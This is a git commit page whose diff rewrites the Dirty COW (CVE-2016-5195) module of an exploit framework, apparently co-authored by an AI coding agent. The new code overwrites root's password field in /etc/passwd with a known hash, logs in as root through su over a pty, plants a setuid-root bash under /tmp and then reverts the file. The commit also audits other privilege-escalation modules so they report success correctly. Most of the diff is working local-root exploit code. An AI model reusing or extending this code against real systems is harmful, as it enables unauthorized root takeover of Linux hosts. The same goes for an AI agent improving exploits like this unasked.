dirty_cow: fix false-EXPLOIT_OK (same 3 bugs as dirty_pipe) + audit the corpus
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
False-EXPLOIT_OK audit: the dispatcher's run_callback_isolated reports OK when the
exploit execve()s (FD_CLOEXEC closes the result pipe -> parent reads EOF), so any
exploit whose main path execs a not-guaranteed-root target lies. Audited every
exec*-calling module (results in docs/EXPLOITED.md).
dirty_cow had the identical 3-bug pattern to the pre-fix dirty_pipe:
1. raced the CALLER's UID field to "0000" then ran `su self` -> still needs the
caller's password, never rooted anything;
2. execlp'd su -> dispatcher's exec-transfer path reported a FALSE EXPLOIT_OK;
3. reverted via drop_caches (needs root) -> left the running /etc/passwd
corrupted when run unprivileged.
Plus a latent overflow: the success-check readback[16] was too small for a
payload > 16 bytes.
Fix (byte-for-byte the verified dirty_pipe technique): race ROOT's password field
to a known $6$ hash -> authenticate as root over a pty -> plant a root-owned proof
+ setuid bash -> revert by racing the original bytes back through the Dirty COW
primitive (no root / no drop_caches). Success judged only by the OOB artifact;
readback buffer bumped to 512. cleanup() re-reverts idempotently.
The escalation half is identical to dirty_pipe (verified end-to-end); the COW
primitive itself needs a pre-4.8.3 kernel to land, which no cached VM has, so on
patched hosts it now fails HONESTLY with no corruption. Unit harness green.
Other exec-transfer modules audited clean or already-fixed; two (overlayfs proxy,
sudoedit_editor unverified reporting) noted for tightening.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -114,6 +114,18 @@ tamper check).
|
|||||||
Dirty Pipe primitive itself** (write the saved original bytes back — no root, no
|
Dirty Pipe primitive itself** (write the saved original bytes back — no root, no
|
||||||
drop_caches). Verified `/etc/passwd` is byte-identical afterward. Root judged
|
drop_caches). Verified `/etc/passwd` is byte-identical afterward. Root judged
|
||||||
only by the out-of-band artifact.
|
only by the out-of-band artifact.
|
||||||
|
- **`dirty_cow`** (CVE-2016-5195) — **same three bugs as `dirty_pipe`, fixed the
|
||||||
|
same way** (found by the false-`EXPLOIT_OK` audit below). It raced the
|
||||||
|
*caller's* UID field to `0000` then ran `su self` (needs the caller's password
|
||||||
|
→ never rooted anything), `execlp`'d su so the exec-transfer path reported a
|
||||||
|
**false `EXPLOIT_OK`**, and reverted with `drop_caches` (needs root → corrupts
|
||||||
|
the running /etc/passwd). Rewrote to: race **root's** password field to a known
|
||||||
|
`$6$` hash → authenticate as root over a pty → plant a root-owned proof + setuid
|
||||||
|
bash → revert by racing the original bytes back through the Dirty COW primitive.
|
||||||
|
Also fixed a latent buffer overflow (the success-check `readback[16]` was too
|
||||||
|
small for a >16-byte payload). The escalation half is byte-for-byte the verified
|
||||||
|
`dirty_pipe` technique; end-to-end root here needs a pre-4.8.3 kernel (every
|
||||||
|
cached VM is patched), so on those it now fails **honestly** with no corruption.
|
||||||
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
|
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
|
||||||
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
|
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
|
||||||
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
|
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
|
||||||
@@ -125,6 +137,35 @@ tamper check).
|
|||||||
container" framing. The `getuid()`-after-`unshare` bug is a pattern to grep
|
container" framing. The `getuid()`-after-`unshare` bug is a pattern to grep
|
||||||
for across the other userns modules.
|
for across the other userns modules.
|
||||||
|
|
||||||
|
## False-`EXPLOIT_OK` audit (every module that transfers the process via `exec*`)
|
||||||
|
|
||||||
|
The dispatcher's `run_callback_isolated` forks the exploit and, if it `execve`s
|
||||||
|
(FD_CLOEXEC closes the result pipe → parent reads EOF, no crash signal), reports
|
||||||
|
`EXPLOIT_OK` **regardless of whether the exec'd program actually rooted anything**.
|
||||||
|
So any exploit whose main path exec's a *not-guaranteed-root* target lies. Audited
|
||||||
|
every `exec*`-calling module:
|
||||||
|
|
||||||
|
| module | verdict | why |
|
||||||
|
|---|---|---|
|
||||||
|
| `dirty_cow` | ❌ **false-OK → fixed** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed (see above). |
|
||||||
|
| `pwnkit` | ✅ fixed earlier | now re-injects gconv + verifies |
|
||||||
|
| `ptrace_traceme` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
||||||
|
| `dirty_pipe` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
||||||
|
| `sudo_host` | ✅ safe | runs `sudo -n -h <host> id -u` witness (uid 0) *before* the exec |
|
||||||
|
| `sudo_chwoot` | ✅ safe | forks sudo in a child, then `stat`s the setuid bash root-owned |
|
||||||
|
| `cgroup_release_agent` | ✅ safe | polls for the root-owned setuid shell before exec |
|
||||||
|
| `fuse_legacy` | ✅ honest | gates the exec on real `setuid(0)==0 && getuid()==0`; else `EXPLOIT_FAIL` |
|
||||||
|
| `overlayfs` | ⚠️ proxy (low risk) | confirms the `security.capability` xattr persisted via `getxattr` before exec'ing the cap'd payload — strong proxy, works, but not a direct root witness |
|
||||||
|
| `sudoedit_editor` | ⚠️ works, reporting unverified | plants a passwordless `skel:0:0` entry + `su skel` (confirmed to root), but returns `EXPLOIT_OK` unconditionally — would false-OK if su failed |
|
||||||
|
| `dirtydecrypt`, `fragnesia` | ⚠️ 2026 reconstructed | exec the target only after verifying the payload landed in the page cache (`rc==1` / `WEXITSTATUS==0`) — proxy, not direct witness; neither lands on any available target yet |
|
||||||
|
| `ptrace_pidfd` | ✅ n/a | the `execve` is the *victim* being raced (fd-steal), not an escalation |
|
||||||
|
| `mutagen_astronomy` | ✅ n/a | env-gated scaffold; SIGSEGVs by design |
|
||||||
|
|
||||||
|
Net: the exec-transfer trap produced **four** genuine false-OKs (`pwnkit`,
|
||||||
|
`ptrace_traceme`, `dirty_pipe`, `dirty_cow`) — all now fixed. Two ⚠️ items
|
||||||
|
(`overlayfs` proxy, `sudoedit_editor` unverified reporting) work but could be
|
||||||
|
tightened to a direct out-of-band witness.
|
||||||
|
|
||||||
## Needs a faithful PoC port (genuinely vulnerable target, exploit doesn't land)
|
## Needs a faithful PoC port (genuinely vulnerable target, exploit doesn't land)
|
||||||
|
|
||||||
| module | CVE | target tested | what's wrong |
|
| module | CVE | target tested | what's wrong |
|
||||||
|
|||||||
@@ -32,13 +32,24 @@
|
|||||||
*
|
*
|
||||||
* Exploit shape: Phil Oester-style two-thread race.
|
* Exploit shape: Phil Oester-style two-thread race.
|
||||||
* - mmap /etc/passwd PRIVATE (writes go to copy-on-write)
|
* - mmap /etc/passwd PRIVATE (writes go to copy-on-write)
|
||||||
* - Find the user's UID field byte offset
|
* - Thread A loop: write(/proc/self/mem, payload, off) — should write to
|
||||||
* - Thread A loop: pwrite(/proc/self/mem, "0000", uid_off) — should
|
* the COW page, but the bug makes it land in the original page cache
|
||||||
* write to the COW page, but the bug makes it land in the original
|
* - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW copy,
|
||||||
* - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW
|
* forcing re-fault
|
||||||
* copy, forcing re-fault
|
* - One iteration wins → the page cache is poisoned
|
||||||
* - One iteration wins the race → page cache poisoned
|
* - Escalation (same as dirty_pipe): overwrite ROOT's password field with
|
||||||
* - execve(su) → shell with uid=0
|
* a known crypt hash, authenticate as root over a pty with the matching
|
||||||
|
* password, plant a root-owned proof + setuid bash, then revert the page
|
||||||
|
* cache via the Dirty COW primitive itself (no root, no drop_caches).
|
||||||
|
* Root is judged only by the out-of-band artifact.
|
||||||
|
*
|
||||||
|
* NB: the shipped version raced the CALLER's UID to "0000" and ran
|
||||||
|
* `su self` (still needs the caller's password → never rooted anything),
|
||||||
|
* execlp'd su so the dispatcher's exec-transfer path reported a FALSE
|
||||||
|
* EXPLOIT_OK, and reverted with drop_caches (needs root → corrupted the
|
||||||
|
* running /etc/passwd). All three are fixed here; identical bug/fix to
|
||||||
|
* dirty_pipe. Escalation verified end-to-end via dirty_pipe; the COW
|
||||||
|
* primitive itself needs a pre-4.8.3 kernel to land.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
@@ -62,6 +73,8 @@
|
|||||||
#include <pthread.h>
|
#include <pthread.h>
|
||||||
#include <sys/mman.h>
|
#include <sys/mman.h>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
|
||||||
/* Stable-branch backport thresholds for Dirty COW. */
|
/* Stable-branch backport thresholds for Dirty COW. */
|
||||||
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
||||||
@@ -83,11 +96,11 @@ static const struct kernel_range dirty_cow_range = {
|
|||||||
sizeof(dirty_cow_patched_branches[0]),
|
sizeof(dirty_cow_patched_branches[0]),
|
||||||
};
|
};
|
||||||
|
|
||||||
/* ---- Find UID field offset (inline; same pattern as dirty_pipe) ---- */
|
/* ---- /etc/passwd password-field helpers (same approach as dirty_pipe:
|
||||||
|
* overwrite ROOT's password field with a known hash, su as root) --- */
|
||||||
|
|
||||||
static bool find_passwd_uid_field(const char *username,
|
/* Byte offset of the password field of `username` (just after "name:"). */
|
||||||
off_t *uid_off, size_t *uid_len,
|
static bool find_pw_field_offset(const char *username, off_t *field_off, size_t *sz)
|
||||||
char uid_str[16])
|
|
||||||
{
|
{
|
||||||
int fd = open("/etc/passwd", O_RDONLY);
|
int fd = open("/etc/passwd", O_RDONLY);
|
||||||
if (fd < 0) return false;
|
if (fd < 0) return false;
|
||||||
@@ -105,29 +118,61 @@ static bool find_passwd_uid_field(const char *username,
|
|||||||
while (p < buf + st.st_size) {
|
while (p < buf + st.st_size) {
|
||||||
char *eol = strchr(p, '\n');
|
char *eol = strchr(p, '\n');
|
||||||
if (!eol) eol = buf + st.st_size;
|
if (!eol) eol = buf + st.st_size;
|
||||||
if (strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
if ((p == buf || p[-1] == '\n') &&
|
||||||
char *q = p + ulen + 1;
|
strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||||
char *pw_end = memchr(q, ':', eol - q);
|
*field_off = (off_t)((p + ulen + 1) - buf);
|
||||||
if (!pw_end) goto next;
|
*sz = (size_t)st.st_size;
|
||||||
char *uid_begin = pw_end + 1;
|
|
||||||
char *uid_end = memchr(uid_begin, ':', eol - uid_begin);
|
|
||||||
if (!uid_end) goto next;
|
|
||||||
size_t L = uid_end - uid_begin;
|
|
||||||
if (L == 0 || L >= 16) goto next;
|
|
||||||
memcpy(uid_str, uid_begin, L);
|
|
||||||
uid_str[L] = 0;
|
|
||||||
*uid_off = (off_t)(uid_begin - buf);
|
|
||||||
*uid_len = L;
|
|
||||||
free(buf);
|
free(buf);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
next:
|
|
||||||
p = eol + 1;
|
p = eol + 1;
|
||||||
}
|
}
|
||||||
free(buf);
|
free(buf);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#define DC_ROOT_PW "skeletonkey"
|
||||||
|
#define DC_ROOT_HASH "$6$SKpwnSalt1$LNL9WuXFTt8BvutpX4j8/7VpXb3hutSqyZAC.NKfGMx/vg9jGQR/h/cvwgcn55HcaNJipuuiBDsPywanKkx/D1"
|
||||||
|
|
||||||
|
/* Run `cmd` as root via su, feeding DC_ROOT_PW over a pty (su reads the
|
||||||
|
* password from the controlling terminal, not stdin). Success is judged
|
||||||
|
* out-of-band by the caller, never from su's status. */
|
||||||
|
static void dc_su_root_run(const char *cmd)
|
||||||
|
{
|
||||||
|
int mfd = posix_openpt(O_RDWR | O_NOCTTY);
|
||||||
|
if (mfd < 0) return;
|
||||||
|
if (grantpt(mfd) < 0 || unlockpt(mfd) < 0) { close(mfd); return; }
|
||||||
|
const char *sn = ptsname(mfd);
|
||||||
|
if (!sn) { close(mfd); return; }
|
||||||
|
char slave[128];
|
||||||
|
snprintf(slave, sizeof slave, "%s", sn);
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) { close(mfd); return; }
|
||||||
|
if (pid == 0) {
|
||||||
|
setsid();
|
||||||
|
int sfd = open(slave, O_RDWR);
|
||||||
|
if (sfd < 0) _exit(127);
|
||||||
|
dup2(sfd, 0); dup2(sfd, 1); dup2(sfd, 2);
|
||||||
|
if (sfd > 2) close(sfd);
|
||||||
|
close(mfd);
|
||||||
|
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
usleep(400 * 1000);
|
||||||
|
char drain[256];
|
||||||
|
ssize_t n = read(mfd, drain, sizeof drain);
|
||||||
|
(void)n;
|
||||||
|
if (write(mfd, DC_ROOT_PW "\n", sizeof(DC_ROOT_PW)) < 0) { /* ignore */ }
|
||||||
|
for (;;) {
|
||||||
|
ssize_t m = read(mfd, drain, sizeof drain);
|
||||||
|
if (m <= 0) break;
|
||||||
|
}
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
close(mfd);
|
||||||
|
}
|
||||||
|
|
||||||
/* ---- Phil-Oester-style Dirty COW primitive ---- */
|
/* ---- Phil-Oester-style Dirty COW primitive ---- */
|
||||||
|
|
||||||
struct dcow_args {
|
struct dcow_args {
|
||||||
@@ -198,8 +243,10 @@ static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_le
|
|||||||
/* Re-read /etc/passwd via syscall and check if payload landed. */
|
/* Re-read /etc/passwd via syscall and check if payload landed. */
|
||||||
int rfd = open("/etc/passwd", O_RDONLY);
|
int rfd = open("/etc/passwd", O_RDONLY);
|
||||||
if (rfd >= 0) {
|
if (rfd >= 0) {
|
||||||
char readback[16];
|
char readback[512]; /* must hold the full payload (was [16] —
|
||||||
if (pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) {
|
* overflowed for payloads > 16 bytes). */
|
||||||
|
if (payload_len <= sizeof readback &&
|
||||||
|
pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) {
|
||||||
if (memcmp(readback, payload, payload_len) == 0) success = 0;
|
if (memcmp(readback, payload, payload_len) == 0) success = 0;
|
||||||
}
|
}
|
||||||
close(rfd);
|
close(rfd);
|
||||||
@@ -214,18 +261,19 @@ static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_le
|
|||||||
return success;
|
return success;
|
||||||
}
|
}
|
||||||
|
|
||||||
static void revert_passwd_page_cache(void)
|
/* Saved original bytes so we (and cleanup) can restore /etc/passwd using
|
||||||
|
* the Dirty COW primitive itself — no root and no drop_caches (the old
|
||||||
|
* revert wrote /proc/sys/vm/drop_caches, which fails unprivileged and left
|
||||||
|
* the running system's /etc/passwd corrupted). */
|
||||||
|
static char dc_orig[512];
|
||||||
|
static off_t dc_orig_off;
|
||||||
|
static size_t dc_orig_len;
|
||||||
|
static bool dc_wrote;
|
||||||
|
|
||||||
|
static void dc_revert(void)
|
||||||
{
|
{
|
||||||
int fd = open("/etc/passwd", O_RDONLY);
|
if (dc_wrote && dc_orig_len)
|
||||||
if (fd >= 0) {
|
dirty_cow_write(dc_orig_off, dc_orig, dc_orig_len);
|
||||||
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
|
||||||
close(fd);
|
|
||||||
}
|
|
||||||
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
|
||||||
if (dc >= 0) {
|
|
||||||
if (write(dc, "3\n", 2) < 0) { /* ignore */ }
|
|
||||||
close(dc);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- skeletonkey interface ---- */
|
/* ---- skeletonkey interface ---- */
|
||||||
@@ -275,58 +323,93 @@ static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct passwd *pw = getpwuid(geteuid());
|
/* Overwrite ROOT's password field with a known crypt hash, then
|
||||||
if (!pw) {
|
* authenticate as root with the matching password. (The previous code
|
||||||
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
|
* raced the CALLER's UID to "0000" and ran `su self`, which still
|
||||||
|
* demands the caller's password — it never rooted anything, falsely
|
||||||
|
* reported OK when su's exec transferred, and reverted with drop_caches
|
||||||
|
* which needs root, corrupting the running /etc/passwd.) */
|
||||||
|
off_t field_off;
|
||||||
|
size_t pw_sz;
|
||||||
|
if (!find_pw_field_offset("root", &field_off, &pw_sz)) {
|
||||||
|
fprintf(stderr, "[-] dirty_cow: could not locate root's password field\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
off_t uid_off;
|
const char *newline = DC_ROOT_HASH ":0:0:root:/root:/bin/bash\n";
|
||||||
size_t uid_len;
|
size_t newlen = strlen(newline);
|
||||||
char orig_uid[16] = {0};
|
if (newlen > sizeof dc_orig || field_off + (off_t)newlen > (off_t)pw_sz) {
|
||||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
fprintf(stderr, "[-] dirty_cow: /etc/passwd too small to hold the payload "
|
||||||
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
|
"without extending it\n");
|
||||||
pw->pw_name);
|
|
||||||
return SKELETONKEY_TEST_ERROR;
|
|
||||||
}
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
|
||||||
pw->pw_name, orig_uid, (long long)uid_off, uid_len);
|
|
||||||
}
|
|
||||||
|
|
||||||
char replacement[16];
|
|
||||||
memset(replacement, '0', uid_len);
|
|
||||||
replacement[uid_len] = 0;
|
|
||||||
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[*] dirty_cow: racing UID '%s' → '%s' via Dirty COW primitive\n",
|
|
||||||
orig_uid, replacement);
|
|
||||||
}
|
|
||||||
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
|
|
||||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
|
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ctx->no_shell) {
|
int fd = open("/etc/passwd", O_RDONLY);
|
||||||
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
|
if (fd < 0) { perror("open passwd"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
if (pread(fd, dc_orig, newlen, field_off) != (ssize_t)newlen) {
|
||||||
|
close(fd); fprintf(stderr, "[-] dirty_cow: pread backup failed\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
close(fd);
|
||||||
|
dc_orig_off = field_off; dc_orig_len = newlen;
|
||||||
|
|
||||||
|
long tag = (long)getpid();
|
||||||
|
char proof[128], rootbash[128], cmd[1024];
|
||||||
|
snprintf(proof, sizeof proof, "/tmp/.sk-dirtycow-%ld.proof", tag);
|
||||||
|
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-dirtycow-%ld.rootbash", tag);
|
||||||
|
unlink(proof); unlink(rootbash);
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] dirty_cow: racing root's password field at offset %lld "
|
||||||
|
"(len %zu) via Dirty COW primitive\n", (long long)field_off, newlen);
|
||||||
|
if (dirty_cow_write(field_off, newline, newlen) < 0) {
|
||||||
|
fprintf(stderr, "[-] dirty_cow: race did not win within timeout "
|
||||||
|
"(kernel likely patched)\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
dc_wrote = true;
|
||||||
|
|
||||||
|
snprintf(cmd, sizeof cmd,
|
||||||
|
"id > %s 2>&1; cp -f /bin/bash %s 2>/dev/null; "
|
||||||
|
"chown 0:0 %s %s 2>/dev/null; chmod 4755 %s 2>/dev/null; sync",
|
||||||
|
proof, rootbash, rootbash, proof, rootbash);
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] dirty_cow: authenticating as root (su + known password)\n");
|
||||||
|
dc_su_root_run(cmd);
|
||||||
|
|
||||||
|
/* Revert immediately — never leave a running system with a known root
|
||||||
|
* password. Dirty COW never wrote disk, so this fully restores. */
|
||||||
|
dc_revert();
|
||||||
|
{ int ev = open("/etc/passwd", O_RDONLY);
|
||||||
|
if (ev >= 0) { posix_fadvise(ev, 0, 0, POSIX_FADV_DONTNEED); close(ev); } }
|
||||||
|
|
||||||
|
struct stat sb;
|
||||||
|
bool rooted = (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
|
||||||
|
if (rooted) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] dirty_cow: ROOT — root-owned proof %s\n", proof);
|
||||||
|
fprintf(stderr, "[+] dirty_cow: setuid-root shell available: %s -p\n", rootbash);
|
||||||
|
fprintf(stderr, "[i] dirty_cow: /etc/passwd reverted (nothing persisted)\n");
|
||||||
|
}
|
||||||
return SKELETONKEY_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
|
if (!ctx->json)
|
||||||
fflush(NULL);
|
fprintf(stderr, "[-] dirty_cow: no root artifact — honest EXPLOIT_FAIL "
|
||||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
"(page cache reverted). Primitive may be blocked, or su/PAM "
|
||||||
perror("execlp(su)");
|
"rejected the injected hash.\n");
|
||||||
revert_passwd_page_cache();
|
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
|
fprintf(stderr, "[*] dirty_cow: reverting /etc/passwd + removing artifacts\n");
|
||||||
|
}
|
||||||
|
dc_revert(); /* idempotent; no root / no drop_caches */
|
||||||
|
if (system("rm -f /tmp/.sk-dirtycow-*.proof /tmp/.sk-dirtycow-*.rootbash 2>/dev/null") != 0) {
|
||||||
|
/* harmless */
|
||||||
}
|
}
|
||||||
revert_passwd_page_cache();
|
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -433,7 +516,7 @@ const struct skeletonkey_module dirty_cow_module = {
|
|||||||
.detect_sigma = dirty_cow_sigma,
|
.detect_sigma = dirty_cow_sigma,
|
||||||
.detect_yara = dirty_cow_yara,
|
.detect_yara = dirty_cow_yara,
|
||||||
.detect_falco = dirty_cow_falco,
|
.detect_falco = dirty_cow_falco,
|
||||||
.opsec_notes = "Two-thread race: Thread A loops pwrite(/proc/self/mem) at the user's UID offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites the UID field with all-zeros, then execlp('su') to claim root. UID offset is parsed from the file, not hardcoded. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning. Cleanup callback calls posix_fadvise(POSIX_FADV_DONTNEED) on /etc/passwd and writes 3 to /proc/sys/vm/drop_caches to evict.",
|
.opsec_notes = "Two-thread race: Thread A loops write(/proc/self/mem) at root's password-field offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites root's password field with a known crypt hash (clobbers into following lines transiently), authenticates as root over a pty via su, plants a root-owned proof + setuid bash under /tmp, then reverts by racing the original bytes back through the same primitive (no root / no drop_caches — nothing persists). Offset parsed from the file, not hardcoded. Root judged only by the out-of-band artifact. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning, then su spawning as root. cleanup() re-reverts idempotently and removes the /tmp artifacts.",
|
||||||
.arch_support = "x86_64+unverified-arm64",
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user